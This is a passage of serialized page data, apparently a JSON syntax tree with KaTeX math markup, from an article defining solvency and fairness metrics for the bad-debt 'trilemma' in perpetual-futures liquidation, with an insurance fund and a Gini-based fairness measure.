{},[],{"type":21,"tag":153,"props":165288,"children":165290},{"className":165289,"style":6859},[6820],[],{"type":21,"tag":153,"props":165292,"children":165294},{"className":165293},[24316],[165295],{"type":26,"value":162958},{"type":21,"tag":153,"props":165297,"children":165299},{"className":165298},[24409],[165300],{"type":26,"value":189},{"type":21,"tag":153,"props":165302,"children":165304},{"className":165303},[6742],[165305],{"type":26,"value":6801},{"type":21,"tag":153,"props":165307,"children":165309},{"className":165308},[6742],[165310,165315],{"type":21,"tag":153,"props":165311,"children":165313},{"className":165312},[6742,24280],[165314],{"type":26,"value":53745},{"type":21,"tag":153,"props":165316,"children":165318},{"className":165317},[6757],[165319],{"type":21,"tag":153,"props":165320,"children":165322},{"className":165321},[6762,24334],[165323,165352],{"type":21,"tag":153,"props":165324,"children":165326},{"className":165325},[6767],[165327,165347],{"type":21,"tag":153,"props":165328,"children":165330},{"className":165329,"style":95873},[6772],[165331],{"type":21,"tag":153,"props":165332,"children":165333},{"style":95400},[165334,165338],{"type":21,"tag":153,"props":165335,"children":165337},{"className":165336,"style":6782},[6781],[],{"type":21,"tag":153,"props":165339,"children":165341},{"className":165340},[6787,6788,6789,6790],[165342],{"type":21,"tag":153,"props":165343,"children":165345},{"className":165344},[6742,24280,6790],[165346],{"type":26,"value":6471},{"type":21,"tag":153,"props":165348,"children":165350},{"className":165349},[24437],[165351],{"type":26,"value":24440},{"type":21,"tag":153,"props":165353,"children":165355},{"className":165354},[6767],[165356],{"type":21,"tag":153,"props":165357,"children":165359},{"className":165358,"style":95427},[6772],[165360],{"type":21,"tag":153,"props":165361,"children":165362},{},[],{"type":21,"tag":153,"props":165364,"children":165366},{"className":165365},[6852],[165367],{"type":26,"value":6855},{"type":21,"tag":153,"props":165369,"children":165371},{"className":165370,"style":6859},[6820],[],{"type":21,"tag":153,"props":165373,"children":165375},{"className":165374,"style":6859},[6820],[],{"type":21,"tag":153,"props":165377,"children":165379},{"className":165378},[6742],[165380],{"type":26,"value":2996},{"type":21,"tag":153,"props":165382,"children":165384},{"className":165383},[24431],[165385],{"type":26,"value":2071},{"type":21,"tag":153,"props":165387,"children":165388},{"style":163882},[165389,165393],{"type":21,"tag":153,"props":165390,"children":165392},{"className":165391,"style":163244},[6781],[],{"type":21,"tag":153,"props":165394,"children":165396},{"className":165395},[6742],[165397,165401,165405,165410,165414,165477,165481],{"type":21,"tag":153,"props":165398,"children":165400},{"className":165399},[6742],[],{"type":21,"tag":153,"props":165402,"children":165404},{"className":165403,"style":6918},[6820],[],{"type":21,"tag":153,"props":165406,"children":165408},{"className":165407},[6923],[165409],{"type":26,"value":2367},{"type":21,"tag":153,"props":165411,"children":165413},{"className":165412,"style":6918},[6820],[],{"type":21,"tag":153,"props":165415,"children":165417},{"className":165416},[24316,165068],[165418],{"type":21,"tag":153,"props":165419,"children":165421},{"className":165420},[6762,24334],[165422,165466],{"type":21,"tag":153,"props":165423,"children":165425},{"className":165424},[6767],[165426,165461],{"type":21,"tag":153,"props":165427,"children":165429},{"className":165428,"style":165081},[6772],[165430,165446],{"type":21,"tag":153,"props":165431,"children":165432},{"style":165085},[165433,165437],{"type":21,"tag":153,"props":165434,"children":165436},{"className":165435,"style":165090},[6781],[],{"type":21,"tag":153,"props":165438,"children":165440},{"className":165439},[6787,6788,6789,6790],[165441],{"type":21,"tag":153,"props":165442,"children":165444},{"className":165443},[6742,24280,6790],[165445],{"type":26,"value":6471},{"type":21,"tag":153,"props":165447,"children":165448},{"style":165103},[165449,165453],{"type":21,"tag":153,"props":165450,"children":165452},{"className":165451,"style":165090},[6781],[],{"type":21,"tag":153,"props":165454,"children":165455},{},[165456],{"type":21,"tag":153,"props":165457,"children":165459},{"className":165458},[24316,24321,165115],[165460],{"type":26,"value":111139},{"type":21,"tag":153,"props":165462,"children":165464},{"className":165463},[24437],[165465],{"type":26,"value":24440},{"type":21,"tag":153,"props":165467,"children":165469},{"className":165468},[6767],[165470],{"type":21,"tag":153,"props":165471,"children":165473},{"className":165472,"style":165130},[6772],[165474],{"type":21,"tag":153,"props":165475,"children":165476},{},[],{"type":21,"tag":153,"props":165478,"children":165480},{"className":165479,"style":6859},[6820],[],{"type":21,"tag":153,"props":165482,"children":165484},{"className":165483},[6742],[165485,165490],{"type":21,"tag":153,"props":165486,"children":165488},{"className":165487,"style":124624},[6742,24280],[165489],{"type":26,"value":51862},{"type":21,"tag":153,"props":165491,"children":165493},{"className":165492},[6757],[165494],{"type":21,"tag":153,"props":165495,"children":165497},{"className":165496},[6762,24334],[165498,165527],{"type":21,"tag":153,"props":165499,"children":165501},{"className":165500},[6767],[165502,165522],{"type":21,"tag":153,"props":165503,"children":165505},{"className":165504,"style":95873},[6772],[165506],{"type":21,"tag":153,"props":165507,"children":165508},{"style":163572},[165509,165513],{"type":21,"tag":153,"props":165510,"children":165512},{"className":165511,"style":6782},[6781],[],{"type":21,"tag":153,"props":165514,"children":165516},{"className":165515},[6787,6788,6789,6790],[165517],{"type":21,"tag":153,"props":165518,"children":165520},{"className":165519},[6742,24280,6790],[165521],{"type":26,"value":6471},{"type":21,"tag":153,"props":165523,"children":165525},{"className":165524},[24437],[165526],{"type":26,"value":24440},{"type":21,"tag":153,"props":165528,"children":165530},{"className":165529},[6767],[165531],{"type":21,"tag":153,"props":165532,"children":165534},{"className":165533,"style":95427},[6772],[165535],{"type":21,"tag":153,"props":165536,"children":165537},{},[],{"type":21,"tag":153,"props":165539,"children":165540},{"style":163953},[165541,165545],{"type":21,"tag":153,"props":165542,"children":165544},{"className":165543,"style":163244},[6781],[],{"type":21,"tag":153,"props":165546,"children":165548},{"className":165547},[6742],[165549,165553,165557,165562,165566,165571,165576,165633,165637,165642,165646,165651,165655,165660,165664,165721,165726,165730,165734,165739],{"type":21,"tag":153,"props":165550,"children":165552},{"className":165551},[6742],[],{"type":21,"tag":153,"props":165554,"children":165556},{"className":165555,"style":6918},[6820],[],{"type":21,"tag":153,"props":165558,"children":165560},{"className":165559},[6923],[165561],{"type":26,"value":2367},{"type":21,"tag":153,"props":165563,"children":165565},{"className":165564,"style":6918},[6820],[],{"type":21,"tag":153,"props":165567,"children":165569},{"className":165568},[24316],[165570],{"type":26,"value":162958},{"type":21,"tag":153,"props":165572,"children":165574},{"className":165573},[24409],[165575],{"type":26,"value":189},{"type":21,"tag":153,"props":165577,"children":165579},{"className":165578},[6742],[165580,165585],{"type":21,"tag":153,"props":165581,"children":165583},{"className":165582,"style":95344},[6742,24280],[165584],{"type":26,"value":163831},{"type":21,"tag":153,"props":165586,"children":165588},{"className":165587},[6757],[165589],{"type":21,"tag":153,"props":165590,"children":165592},{"className":165591},[6762,24334],[165593,165622],{"type":21,"tag":153,"props":165594,"children":165596},{"className":165595},[6767],[165597,165617],{"type":21,"tag":153,"props":165598,"children":165600},{"className":165599,"style":144899},[6772],[165601],{"type":21,"tag":153,"props":165602,"children":165603},{"style":112343},[165604,165608],{"type":21,"tag":153,"props":165605,"children":165607},{"className":165606,"style":6782},[6781],[],{"type":21,"tag":153,"props":165609,"children":165611},{"className":165610},[6787,6788,6789,6790],[165612],{"type":21,"tag":153,"props":165613,"children":165615},{"className":165614,"style":24281},[6742,24280,6790],[165616],{"type":26,"value":8717},{"type":21,"tag":153,"props":165618,"children":165620},{"className":165619},[24437],[165621],{"type":26,"value":24440},{"type":21,"tag":153,"props":165623,"children":165625},{"className":165624},[6767],[165626],{"type":21,"tag":153,"props":165627,"children":165629},{"className":165628,"style":95427},[6772],[165630],{"type":21,"tag":153,"props":165631,"children":165632},{},[],{"type":21,"tag":153,"props":165634,"children":165636},{"className":165635,"style":6821},[6820],[],{"type":21,"tag":153,"props":165638,"children":165640},{"className":165639},[6826],[165641],{"type":26,"value":6801},{"type":21,"tag":153,"props":165643,"children":165645},{"className":165644,"style":6821},[6820],[],{"type":21,"tag":153,"props":165647,"children":165649},{"className":165648,"style":97364},[6742,24280],[165650],{"type":26,"value":97398},{"type":21,"tag":153,"props":165652,"children":165654},{"className":165653,"style":6821},[6820],[],{"type":21,"tag":153,"props":165656,"children":165658},{"className":165657},[6826],[165659],{"type":26,"value":6801},{"type":21,"tag":153,"props":165661,"children":165663},{"className":165662,"style":6821},[6820],[],{"type":21,"tag":153,"props":165665,"children":165667},{"className":165666},[6742],[165668,165673],{"type":21,"tag":153,"props":165669,"children":165671},{"className":165670,"style":95578},[6742,24280],[165672],{"type":26,"value":95581},{"type":21,"tag":153,"props":165674,"children":165676},{"className":165675},[6757],[165677],{"type":21,"tag":153,"props":165678,"children":165680},{"className":165679},[6762,24334],[165681,165710],{"type":21,"tag":153,"props":165682,"children":165684},{"className":165683},[6767],[165685,165705],{"type":21,"tag":153,"props":165686,"children":165688},{"className":165687,"style":144899},[6772],[165689],{"type":21,"tag":153,"props":165690,"children":165691},{"style":112773},[165692,165696],{"type":21,"tag":153,"props":165693,"children":165695},{"className":165694,"style":6782},[6781],[],{"type":21,"tag":153,"props":165697,"children":165699},{"className":165698},[6787,6788,6789,6790],[165700],{"type":21,"tag":153,"props":165701,"children":165703},{"className":165702,"style":24281},[6742,24280,6790],[165704],{"type":26,"value":8717},{"type":21,"tag":153,"props":165706,"children":165708},{"className":165707},[24437],[165709],{"type":26,"value":24440},{"type":21,"tag":153,"props":165711,"children":165713},{"className":165712},[6767],[165714],{"type":21,"tag":153,"props":165715,"children":165717},{"className":165716,"style":95427},[6772],[165718],{"type":21,"tag":153,"props":165719,"children":165720},{},[],{"type":21,"tag":153,"props":165722,"children":165724},{"className":165723},[6852],[165725],{"type":26,"value":6855},{"type":21,"tag":153,"props":165727,"children":165729},{"className":165728,"style":6859},[6820],[],{"type":21,"tag":153,"props":165731,"children":165733},{"className":165732,"style":6859},[6820],[],{"type":21,"tag":153,"props":165735,"children":165737},{"className":165736},[6742],[165738],{"type":26,"value":2996},{"type":21,"tag":153,"props":165740,"children":165742},{"className":165741},[24431],[165743],{"type":26,"value":2071},{"type":21,"tag":153,"props":165745,"children":165747},{"className":165746},[24437],[165748],{"type":26,"value":24440},{"type":21,"tag":153,"props":165750,"children":165752},{"className":165751},[6767],[165753],{"type":21,"tag":153,"props":165754,"children":165756},{"className":165755,"style":164034},[6772],[165757],{"type":21,"tag":153,"props":165758,"children":165759},{},[],{"type":21,"tag":22,"props":165761,"children":165762},{},[165763,165764,165841,165843,165868,165870,165947,165949,166026],{"type":26,"value":189},{"type":21,"tag":78,"props":165765,"children":165767},{"className":165766},[6715,6716],[165768],{"type":21,"tag":153,"props":165769,"children":165771},{"className":165770},[6721],[165772],{"type":21,"tag":153,"props":165773,"children":165775},{"className":165774,"ariaHidden":3294},[6726],[165776],{"type":21,"tag":153,"props":165777,"children":165779},{"className":165778},[6731],[165780,165784],{"type":21,"tag":153,"props":165781,"children":165783},{"className":165782,"style":113341},[6736],[],{"type":21,"tag":153,"props":165785,"children":165787},{"className":165786},[6742],[165788,165793],{"type":21,"tag":153,"props":165789,"children":165791},{"className":165790,"style":24281},[6742,24280],[165792],{"type":26,"value":24284},{"type":21,"tag":153,"props":165794,"children":165796},{"className":165795},[6757],[165797],{"type":21,"tag":153,"props":165798,"children":165800},{"className":165799},[6762,24334],[165801,165830],{"type":21,"tag":153,"props":165802,"children":165804},{"className":165803},[6767],[165805,165825],{"type":21,"tag":153,"props":165806,"children":165808},{"className":165807,"style":111776},[6772],[165809],{"type":21,"tag":153,"props":165810,"children":165811},{"style":163277},[165812,165816],{"type":21,"tag":153,"props":165813,"children":165815},{"className":165814,"style":6782},[6781],[],{"type":21,"tag":153,"props":165817,"children":165819},{"className":165818},[6787,6788,6789,6790],[165820],{"type":21,"tag":153,"props":165821,"children":165823},{"className":165822},[6742,24280,6790],[165824],{"type":26,"value":58695},{"type":21,"tag":153,"props":165826,"children":165828},{"className":165827},[24437],[165829],{"type":26,"value":24440},{"type":21,"tag":153,"props":165831,"children":165833},{"className":165832},[6767],[165834],{"type":21,"tag":153,"props":165835,"children":165837},{"className":165836,"style":95427},[6772],[165838],{"type":21,"tag":153,"props":165839,"children":165840},{},[],{"type":26,"value":165842},": mark price from different sources; ",{"type":21,"tag":78,"props":165844,"children":165846},{"className":165845},[6715,6716],[165847],{"type":21,"tag":153,"props":165848,"children":165850},{"className":165849},[6721],[165851],{"type":21,"tag":153,"props":165852,"children":165854},{"className":165853,"ariaHidden":3294},[6726],[165855],{"type":21,"tag":153,"props":165856,"children":165858},{"className":165857},[6731],[165859,165863],{"type":21,"tag":153,"props":165860,"children":165862},{"className":165861,"style":24275},[6736],[],{"type":21,"tag":153,"props":165864,"children":165866},{"className":165865,"style":97364},[6742,24280],[165867],{"type":26,"value":97398},{"type":26,"value":165869},": insurance fund, roughly the 5M on testnet HL; ",{"type":21,"tag":78,"props":165871,"children":165873},{"className":165872},[6715,6716],[165874],{"type":21,"tag":153,"props":165875,"children":165877},{"className":165876},[6721],[165878],{"type":21,"tag":153,"props":165879,"children":165881},{"className":165880,"ariaHidden":3294},[6726],[165882],{"type":21,"tag":153,"props":165883,"children":165885},{"className":165884},[6731],[165886,165890],{"type":21,"tag":153,"props":165887,"children":165889},{"className":165888,"style":112314},[6736],[],{"type":21,"tag":153,"props":165891,"children":165893},{"className":165892},[6742],[165894,165899],{"type":21,"tag":153,"props":165895,"children":165897},{"className":165896,"style":95830},[6742,24280],[165898],{"type":26,"value":163415},{"type":21,"tag":153,"props":165900,"children":165902},{"className":165901},[6757],[165903],{"type":21,"tag":153,"props":165904,"children":165906},{"className":165905},[6762,24334],[165907,165936],{"type":21,"tag":153,"props":165908,"children":165910},{"className":165909},[6767],[165911,165931],{"type":21,"tag":153,"props":165912,"children":165914},{"className":165913,"style":95873},[6772],[165915],{"type":21,"tag":153,"props":165916,"children":165917},{"style":95877},[165918,165922],{"type":21,"tag":153,"props":165919,"children":165921},{"className":165920,"style":6782},[6781],[],{"type":21,"tag":153,"props":165923,"children":165925},{"className":165924},[6787,6788,6789,6790],[165926],{"type":21,"tag":153,"props":165927,"children":165929},{"className":165928},[6742,24280,6790],[165930],{"type":26,"value":6471},{"type":21,"tag":153,"props":165932,"children":165934},{"className":165933},[24437],[165935],{"type":26,"value":24440},{"type":21,"tag":153,"props":165937,"children":165939},{"className":165938},[6767],[165940],{"type":21,"tag":153,"props":165941,"children":165943},{"className":165942,"style":95427},[6772],[165944],{"type":21,"tag":153,"props":165945,"children":165946},{},[],{"type":26,"value":165948}," is PNL for longs, negated for shorts; ",{"type":21,"tag":78,"props":165950,"children":165952},{"className":165951},[6715,6716],[165953],{"type":21,"tag":153,"props":165954,"children":165956},{"className":165955},[6721],[165957],{"type":21,"tag":153,"props":165958,"children":165960},{"className":165959,"ariaHidden":3294},[6726],[165961],{"type":21,"tag":153,"props":165962,"children":165964},{"className":165963},[6731],[165965,165969],{"type":21,"tag":153,"props":165966,"children":165968},{"className":165967,"style":112314},[6736],[],{"type":21,"tag":153,"props":165970,"children":165972},{"className":165971},[6742],[165973,165978],{"type":21,"tag":153,"props":165974,"children":165976},{"className":165975,"style":124624},[6742,24280],[165977],{"type":26,"value":51862},{"type":21,"tag":153,"props":165979,"children":165981},{"className":165980},[6757],[165982],{"type":21,"tag":153,"props":165983,"children":165985},{"className":165984},[6762,24334],[165986,166015],{"type":21,"tag":153,"props":165987,"children":165989},{"className":165988},[6767],[165990,166010],{"type":21,"tag":153,"props":165991,"children":165993},{"className":165992,"style":95873},[6772],[165994],{"type":21,"tag":153,"props":165995,"children":165996},{"style":163572},[165997,166001],{"type":21,"tag":153,"props":165998,"children":166000},{"className":165999,"style":6782},[6781],[],{"type":21,"tag":153,"props":166002,"children":166004},{"className":166003},[6787,6788,6789,6790],[166005],{"type":21,"tag":153,"props":166006,"children":166008},{"className":166007},[6742,24280,6790],[166009],{"type":26,"value":6471},{"type":21,"tag":153,"props":166011,"children":166013},{"className":166012},[24437],[166014],{"type":26,"value":24440},{"type":21,"tag":153,"props":166016,"children":166018},{"className":166017},[6767],[166019],{"type":21,"tag":153,"props":166020,"children":166022},{"className":166021,"style":95427},[6772],[166023],{"type":21,"tag":153,"props":166024,"children":166025},{},[],{"type":26,"value":166027}," is the positive part of PNL.)",{"type":21,"tag":22,"props":166029,"children":166030},{},[166031],{"type":26,"value":166032},"And let's make the trilemma definitions concrete:",{"type":21,"tag":87,"props":166034,"children":166035},{},[166036,166510,167074],{"type":21,"tag":91,"props":166037,"children":166038},{},[166039,166043,166044,166298,166300,166351,166353,166456,166457,166508],{"type":21,"tag":5302,"props":166040,"children":166041},{},[166042],{"type":26,"value":163156},{"type":26,"value":35605},{"type":21,"tag":78,"props":166045,"children":166047},{"className":166046},[6715,6716],[166048],{"type":21,"tag":153,"props":166049,"children":166051},{"className":166050},[6721],[166052],{"type":21,"tag":153,"props":166053,"children":166055},{"className":166054,"ariaHidden":3294},[6726],[166056,166083],{"type":21,"tag":153,"props":166057,"children":166059},{"className":166058},[6731],[166060,166065,166070,166074,166079],{"type":21,"tag":153,"props":166061,"children":166064},{"className":166062,"style":166063},[6736],"height:0.7278em;vertical-align:-0.0833em;",[],{"type":21,"tag":153,"props":166066,"children":166068},{"className":166067},[6742],[166069],{"type":26,"value":3033},{"type":21,"tag":153,"props":166071,"children":166073},{"className":166072,"style":6821},[6820],[],{"type":21,"tag":153,"props":166075,"children":166077},{"className":166076},[6826],[166078],{"type":26,"value":6801},{"type":21,"tag":153,"props":166080,"children":166082},{"className":166081,"style":6821},[6820],[],{"type":21,"tag":153,"props":166084,"children":166086},{"className":166085},[6731],[166087,166092],{"type":21,"tag":153,"props":166088,"children":166091},{"className":166089,"style":166090},[6736],"height:1.3337em;vertical-align:-0.4453em;",[],{"type":21,"tag":153,"props":166093,"children":166095},{"className":166094},[6742],[166096,166100,166294],{"type":21,"tag":153,"props":166097,"children":166099},{"className":166098},[24409,115862],[],{"type":21,"tag":153,"props":166101,"children":166103},{"className":166102},[115867],[166104],{"type":21,"tag":153,"props":166105,"children":166107},{"className":166106},[6762,24334],[166108,166282],{"type":21,"tag":153,"props":166109,"children":166111},{"className":166110},[6767],[166112,166277],{"type":21,"tag":153,"props":166113,"children":166116},{"className":166114,"style":166115},[6772],"height:0.8884em;",[166117,166191,166202],{"type":21,"tag":153,"props":166118,"children":166119},{"style":115884},[166120,166124],{"type":21,"tag":153,"props":166121,"children":166123},{"className":166122,"style":114515},[6781],[],{"type":21,"tag":153,"props":166125,"children":166127},{"className":166126},[6787,6788,6789,6790],[166128],{"type":21,"tag":153,"props":166129,"children":166131},{"className":166130},[6742,6790],[166132],{"type":21,"tag":153,"props":166133,"children":166135},{"className":166134},[6742,6790],[166136,166141],{"type":21,"tag":153,"props":166137,"children":166139},{"className":166138,"style":95344},[6742,24280,6790],[166140],{"type":26,"value":163831},{"type":21,"tag":153,"props":166142,"children":166144},{"className":166143},[6757],[166145],{"type":21,"tag":153,"props":166146,"children":166148},{"className":166147},[6762,24334],[166149,166179],{"type":21,"tag":153,"props":166150,"children":166152},{"className":166151},[6767],[166153,166174],{"type":21,"tag":153,"props":166154,"children":166156},{"className":166155,"style":114676},[6772],[166157],{"type":21,"tag":153,"props":166158,"children":166160},{"style":166159},"top:-2.3567em;margin-left:-0.0278em;margin-right:0.0714em;",[166161,166165],{"type":21,"tag":153,"props":166162,"children":166164},{"className":166163,"style":111204},[6781],[],{"type":21,"tag":153,"props":166166,"children":166168},{"className":166167},[6787,111209,111210,6790],[166169],{"type":21,"tag":153,"props":166170,"children":166172},{"className":166171,"style":24281},[6742,24280,6790],[166173],{"type":26,"value":8717},{"type":21,"tag":153,"props":166175,"children":166177},{"className":166176},[24437],[166178],{"type":26,"value":24440},{"type":21,"tag":153,"props":166180,"children":166182},{"className":166181},[6767],[166183],{"type":21,"tag":153,"props":166184,"children":166187},{"className":166185,"style":166186},[6772],"height:0.1433em;",[166188],{"type":21,"tag":153,"props":166189,"children":166190},{},[],{"type":21,"tag":153,"props":166192,"children":166193},{"style":115917},[166194,166198],{"type":21,"tag":153,"props":166195,"children":166197},{"className":166196,"style":114515},[6781],[],{"type":21,"tag":153,"props":166199,"children":166201},{"className":166200,"style":115927},[115926],[],{"type":21,"tag":153,"props":166203,"children":166205},{"style":166204},"top:-3.4101em;",[166206,166210],{"type":21,"tag":153,"props":166207,"children":166209},{"className":166208,"style":114515},[6781],[],{"type":21,"tag":153,"props":166211,"children":166213},{"className":166212},[6787,6788,6789,6790],[166214],{"type":21,"tag":153,"props":166215,"children":166217},{"className":166216},[6742,6790],[166218],{"type":21,"tag":153,"props":166219,"children":166221},{"className":166220},[6742,6790],[166222,166227],{"type":21,"tag":153,"props":166223,"children":166225},{"className":166224,"style":125121},[6742,24280,6790],[166226],{"type":26,"value":125124},{"type":21,"tag":153,"props":166228,"children":166230},{"className":166229},[6757],[166231],{"type":21,"tag":153,"props":166232,"children":166234},{"className":166233},[6762,24334],[166235,166266],{"type":21,"tag":153,"props":166236,"children":166238},{"className":166237},[6767],[166239,166261],{"type":21,"tag":153,"props":166240,"children":166243},{"className":166241,"style":166242},[6772],"height:0.2963em;",[166244],{"type":21,"tag":153,"props":166245,"children":166247},{"style":166246},"top:-2.357em;margin-left:-0.0077em;margin-right:0.0714em;",[166248,166252],{"type":21,"tag":153,"props":166249,"children":166251},{"className":166250,"style":111204},[6781],[],{"type":21,"tag":153,"props":166253,"children":166255},{"className":166254},[6787,111209,111210,6790],[166256],{"type":21,"tag":153,"props":166257,"children":166259},{"className":166258},[6742,24280,6790],[166260],{"type":26,"value":24422},{"type":21,"tag":153,"props":166262,"children":166264},{"className":166263},[24437],[166265],{"type":26,"value":24440},{"type":21,"tag":153,"props":166267,"children":166269},{"className":166268},[6767],[166270],{"type":21,"tag":153,"props":166271,"children":166273},{"className":166272,"style":111229},[6772],[166274],{"type":21,"tag":153,"props":166275,"children":166276},{},[],{"type":21,"tag":153,"props":166278,"children":166280},{"className":166279},[24437],[166281],{"type":26,"value":24440},{"type":21,"tag":153,"props":166283,"children":166285},{"className":166284},[6767],[166286],{"type":21,"tag":153,"props":166287,"children":166290},{"className":166288,"style":166289},[6772],"height:0.4453em;",[166291],{"type":21,"tag":153,"props":166292,"children":166293},{},[],{"type":21,"tag":153,"props":166295,"children":166297},{"className":166296},[24431,115862],[],{"type":26,"value":166299}," — how much of the total bad debt was actually covered. ",{"type":21,"tag":78,"props":166301,"children":166303},{"className":166302},[6715,6716],[166304],{"type":21,"tag":153,"props":166305,"children":166307},{"className":166306},[6721],[166308],{"type":21,"tag":153,"props":166309,"children":166311},{"className":166310,"ariaHidden":3294},[6726],[166312,166338],{"type":21,"tag":153,"props":166313,"children":166315},{"className":166314},[6731],[166316,166320,166325,166329,166334],{"type":21,"tag":153,"props":166317,"children":166319},{"className":166318,"style":24275},[6736],[],{"type":21,"tag":153,"props":166321,"children":166323},{"className":166322,"style":24739},[6742,24280],[166324],{"type":26,"value":24742},{"type":21,"tag":153,"props":166326,"children":166328},{"className":166327,"style":6918},[6820],[],{"type":21,"tag":153,"props":166330,"children":166332},{"className":166331},[6923],[166333],{"type":26,"value":2367},{"type":21,"tag":153,"props":166335,"children":166337},{"className":166336,"style":6918},[6820],[],{"type":21,"tag":153,"props":166339,"children":166341},{"className":166340},[6731],[166342,166346],{"type":21,"tag":153,"props":166343,"children":166345},{"className":166344,"style":96375},[6736],[],{"type":21,"tag":153,"props":166347,"children":166349},{"className":166348},[6742],[166350],{"type":26,"value":3033},{"type":26,"value":166352}," means fully solvent (",{"type":21,"tag":78,"props":166354,"children":166356},{"className":166355},[6715,6716],[166357],{"type":21,"tag":153,"props":166358,"children":166360},{"className":166359},[6721],[166361],{"type":21,"tag":153,"props":166362,"children":166364},{"className":166363,"ariaHidden":3294},[6726],[166365,166443],{"type":21,"tag":153,"props":166366,"children":166368},{"className":166367},[6731],[166369,166373,166430,166434,166439],{"type":21,"tag":153,"props":166370,"children":166372},{"className":166371,"style":113341},[6736],[],{"type":21,"tag":153,"props":166374,"children":166376},{"className":166375},[6742],[166377,166382],{"type":21,"tag":153,"props":166378,"children":166380},{"className":166379,"style":125121},[6742,24280],[166381],{"type":26,"value":125124},{"type":21,"tag":153,"props":166383,"children":166385},{"className":166384},[6757],[166386],{"type":21,"tag":153,"props":166387,"children":166389},{"className":166388},[6762,24334],[166390,166419],{"type":21,"tag":153,"props":166391,"children":166393},{"className":166392},[6767],[166394,166414],{"type":21,"tag":153,"props":166395,"children":166397},{"className":166396,"style":163987},[6772],[166398],{"type":21,"tag":153,"props":166399,"children":166400},{"style":163991},[166401,166405],{"type":21,"tag":153,"props":166402,"children":166404},{"className":166403,"style":6782},[6781],[],{"type":21,"tag":153,"props":166406,"children":166408},{"className":166407},[6787,6788,6789,6790],[166409],{"type":21,"tag":153,"props":166410,"children":166412},{"className":166411},[6742,24280,6790],[166413],{"type":26,"value":24422},{"type":21,"tag":153,"props":166415,"children":166417},{"className":166416},[24437],[166418],{"type":26,"value":24440},{"type":21,"tag":153,"props":166420,"children":166422},{"className":166421},[6767],[166423],{"type":21,"tag":153,"props":166424,"children":166426},{"className":166425,"style":95427},[6772],[166427],{"type":21,"tag":153,"props":166428,"children":166429},{},[],{"type":21,"tag":153,"props":166431,"children":166433},{"className":166432,"style":6918},[6820],[],{"type":21,"tag":153,"props":166435,"children":166437},{"className":166436},[6923],[166438],{"type":26,"value":2367},{"type":21,"tag":153,"props":166440,"children":166442},{"className":166441,"style":6918},[6820],[],{"type":21,"tag":153,"props":166444,"children":166446},{"className":166445},[6731],[166447,166451],{"type":21,"tag":153,"props":166448,"children":166450},{"className":166449,"style":96375},[6736],[],{"type":21,"tag":153,"props":166452,"children":166454},{"className":166453},[6742],[166455],{"type":26,"value":2996},{"type":26,"value":17877},{"type":21,"tag":78,"props":166458,"children":166460},{"className":166459},[6715,6716],[166461],{"type":21,"tag":153,"props":166462,"children":166464},{"className":166463},[6721],[166465],{"type":21,"tag":153,"props":166466,"children":166468},{"className":166467,"ariaHidden":3294},[6726],[166469,166495],{"type":21,"tag":153,"props":166470,"children":166472},{"className":166471},[6731],[166473,166477,166482,166486,166491],{"type":21,"tag":153,"props":166474,"children":166476},{"className":166475,"style":24275},[6736],[],{"type":21,"tag":153,"props":166478,"children":166480},{"className":166479,"style":24739},[6742,24280],[166481],{"type":26,"value":24742},{"type":21,"tag":153,"props":166483,"children":166485},{"className":166484,"style":6918},[6820],[],{"type":21,"tag":153,"props":166487,"children":166489},{"className":166488},[6923],[166490],{"type":26,"value":2367},{"type":21,"tag":153,"props":166492,"children":166494},{"className":166493,"style":6918},[6820],[],{"type":21,"tag":153,"props":166496,"children":166498},{"className":166497},[6731],[166499,166503],{"type":21,"tag":153,"props":166500,"children":166502},{"className":166501,"style":96375},[6736],[],{"type":21,"tag":153,"props":166504,"children":166506},{"className":166505},[6742],[166507],{"type":26,"value":2996},{"type":26,"value":166509}," means nothing was recovered.",{"type":21,"tag":91,"props":166511,"children":166512},{},[166513,166517,166518,166641,166642,166859,166861,166965,166967,167018,167020,167072],{"type":21,"tag":5302,"props":166514,"children":166515},{},[166516],{"type":26,"value":163166},{"type":26,"value":35605},{"type":21,"tag":78,"props":166519,"children":166521},{"className":166520},[6715,6716],[166522],{"type":21,"tag":153,"props":166523,"children":166525},{"className":166524},[6721],[166526],{"type":21,"tag":153,"props":166527,"children":166529},{"className":166528,"ariaHidden":3294},[6726],[166530,166556],{"type":21,"tag":153,"props":166531,"children":166533},{"className":166532},[6731],[166534,166538,166543,166547,166552],{"type":21,"tag":153,"props":166535,"children":166537},{"className":166536,"style":166063},[6736],[],{"type":21,"tag":153,"props":166539,"children":166541},{"className":166540},[6742],[166542],{"type":26,"value":3033},{"type":21,"tag":153,"props":166544,"children":166546},{"className":166545,"style":6821},[6820],[],{"type":21,"tag":153,"props":166548,"children":166550},{"className":166549},[6826],[166551],{"type":26,"value":6801},{"type":21,"tag":153,"props":166553,"children":166555},{"className":166554,"style":6821},[6820],[],{"type":21,"tag":153,"props":166557,"children":166559},{"className":166558},[6731],[166560,166564,166574,166579,166636],{"type":21,"tag":153,"props":166561,"children":166563},{"className":166562,"style":6841},[6736],[],{"type":21,"tag":153,"props":166565,"children":166567},{"className":166566},[6742,26],[166568],{"type":21,"tag":153,"props":166569,"children":166571},{"className":166570},[6742],[166572],{"type":26,"value":166573},"Gini",{"type":21,"tag":153,"props":166575,"children":166577},{"className":166576},[24409],[166578],{"type":26,"value":189},{"type":21,"tag":153,"props":166580,"children":166582},{"className":166581},[6742],[166583,166588],{"type":21,"tag":153,"props":166584,"children":166586},{"className":166585},[6742,24280],[166587],{"type":26,"value":86642},{"type":21,"tag":153,"props":166589,"children":166591},{"className":166590},[6757],[166592],{"type":21,"tag":153,"props":166593,"children":166595},{"className":166594},[6762,24334],[166596,166625],{"type":21,"tag":153,"props":166597,"children":166599},{"className":166598},[6767],[166600,166620],{"type":21,"tag":153,"props":166601,"children":166603},{"className":166602,"style":95873},[6772],[166604],{"type":21,"tag":153,"props":166605,"children":166606},{"style":95400},[166607,166611],{"type":21,"tag":153,"props":166608,"children":166610},{"className":166609,"style":6782},[6781],[],{"type":21,"tag":153,"props":166612,"children":166614},{"className":166613},[6787,6788,6789,6790],[166615],{"type":21,"tag":153,"props":166616,"children":166618},{"className":166617},[6742,24280,6790],[166619],{"type":26,"value":6471},{"type":21,"tag":153,"props":166621,"children":166623},{"className":166622},[24437],[166624],{"type":26,"value":24440},{"type":21,"tag":153,"props":166626,"children":166628},{"className":166627},[6767],[166629],{"type":21,"tag":153,"props":166630,"children":166632},{"className":166631,"style":95427},[6772],[166633],{"type":21,"tag":153,"props":166634,"children":166635},{},[],{"type":21,"tag":153,"props":166637,"children":166639},{"className":166638},[24431],[166640],{"type":26,"value":2071},{"type":26,"value":10050},{"type":21,"tag":78